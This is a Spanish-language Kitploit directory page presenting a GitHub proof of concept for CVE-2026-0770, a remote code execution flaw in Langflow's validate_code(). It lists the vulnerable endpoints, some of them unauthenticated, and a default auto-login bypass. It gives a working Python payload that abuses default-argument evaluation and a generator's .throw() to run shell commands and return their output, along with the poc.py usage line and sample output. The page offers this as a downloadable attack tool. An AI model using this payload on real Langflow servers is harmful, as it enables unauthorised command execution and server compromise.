Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-0770-PoC — Prueba de concepto para CVE-2026-0770 - Ejecución remota de código en Langflow | Kitploit
Herramientas/GitHubGitHub/affix/cve-2026-0770-poc
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónTroyano de Acceso Remoto
GitHubaffix/cve-2026-0770-poc

CVE-2026-0770-PoC

Prueba de concepto para CVE-2026-0770 - Ejecución remota de código en Langflow

Ver Repositorio
6137hace 7 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-0770 - Ejecución Remota de Código en Langflow

Resumen

Langflow contiene una vulnerabilidad crítica de ejecución remota de código en la función validate_code() ubicada en src/lfx/src/lfx/custom/validate.py. La función utiliza exec() para ejecutar código Python proporcionado por el usuario sin sandboxing, lo que permite la ejecución arbitraria de comandos en el servidor.

Versiones Afectadas

  • Langflow más reciente (a partir del 7 de febrero de 2026)

Otros CVEs

Se han identificado vulnerabilidades similares en funciones y endpoints relacionados:

  • CVE-2026-0772
  • CVE-2026-0771
  • CVE-2026-0769
  • CVE-2026-0768
  • CVE-2026-0767

Detalles de la Vulnerabilidad

La función validate_code() analiza el código proporcionado por el usuario y ejecuta definiciones de funciones utilizando exec():

# validate.py:66
for node in tree.body:
    if isinstance(node, ast.FunctionDef):
        code_obj = compile(ast.Module(body=[node], type_ignores=[]), "<string>", "exec")
        exec(code_obj, exec_globals)  # <-- Ejecución arbitraria de código

El contexto exec_globals incluye acceso a importlib y a los builtins de Python, lo que permite a los atacantes importar módulos peligrosos (os, subprocess, socket) y ejecutar comandos arbitrarios del sistema.

Endpoints Vulnerables

EndpointAutenticaciónVector de Ataque
POST /api/v1/validate/codeRequerida*Envío directo de código
POST /api/v1/custom_componentRequerida*Código en la definición del componente
POST /api/v1/custom_component/updateRequerida*Código en la actualización del componente
POST /api/v1/webhook/{flow_id}NingunaFlujo con componentes de código
POST /api/v1/build_public_tmp/{flow_id}/flowNingunaEjecución de flujo público

* La autenticación se puede omitir cuando AUTO_LOGIN=true (la configuración predeterminada)

Otras Funciones Vulnerables

Las siguientes funciones en validate.py también utilizan exec() de forma insegura:

FunciónLíneaDescripción
validate_code()66Valida el código del usuario
eval_function()140Evalúa cadenas de funciones
execute_function()182Ejecuta funciones arbitrarias
create_function()227Crea funciones a partir de código
create_class()241-442Crea clases mediante prepare_global_scope() y build_class_constructor()

Explotación

El Truco del Lanzamiento del Generador

La función validate_code() solo ejecuta definiciones de funciones, no llamadas a funciones. Para lograr la ejecución de código con exfiltración de salida, explotamos el orden de evaluación de Python para los argumentos predeterminados.

Idea clave: Las expresiones de argumentos predeterminados se evalúan en el momento de la definición de la función, no cuando se llama a la función.

def foo(x=print("Me ejecuto inmediatamente")):
    pass

Sin embargo, necesitamos exfiltrar la salida a través de la respuesta HTTP. El endpoint devuelve errores en el cuerpo de la respuesta, por lo que necesitamos lanzar una excepción que contenga nuestra salida.

Problema: raise es una declaración, no una expresión, por lo que no se puede usar directamente en un argumento predeterminado.

Solución: Usar el método .throw() de un generador, que lanza una excepción y SÍ es una expresión:

(_ for _ in ()).throw(Exception("salida aquí"))

Esto crea un generador vacío e inmediatamente lanza una excepción. Combinado con una lambda para capturar la salida del comando:

def exploit(
    _=(lambda r: (_ for _ in ()).throw(Exception(f"OUTPUT:\n{r.stdout}")))(
        __import__('subprocess').run("id", shell=True, capture_output=True, text=True)
    )
):
    pass

Flujo de ejecución:

  1. exec() ejecuta la definición de la función
  2. El argumento predeterminado _=... se evalúa inmediatamente
  3. subprocess.run() ejecuta el comando
  4. La lambda recibe el resultado y llama al método .throw() del generador
  5. Se lanza una excepción con la salida del comando
  6. validate_code() la captura y devuelve el error en la respuesta

Uso

python poc.py --target http://localhost:7860 -c "id && whoami && hostname"

Opciones

FlagDescripción
-t, --targetURL del objetivo (requerida)
-c, --commandComando a ejecutar (predeterminado: id && whoami)
-k, --tokenToken JWT (opcional, usa auto-login por defecto)

Ejemplo de Salida (Desde el Contenedor Docker langflowai/langflow:latest - 7 de febrero de 2026)

[*] Target: http://localhost:7860
[*] Attempting auto-login (default config)...
[+] Auto-login successful!
[*] Executing: id && whoami && hostname
[+] Status: 200
[+] Output:
uid=1000(user) gid=0(root) groups=0(root)
user
53977c93d567

Referencias

  • Langflow GitHub: https://github.com/langflow-ai/langflow
  • Archivo vulnerable: src/lfx/src/lfx/custom/validate.py
Descargar herramienta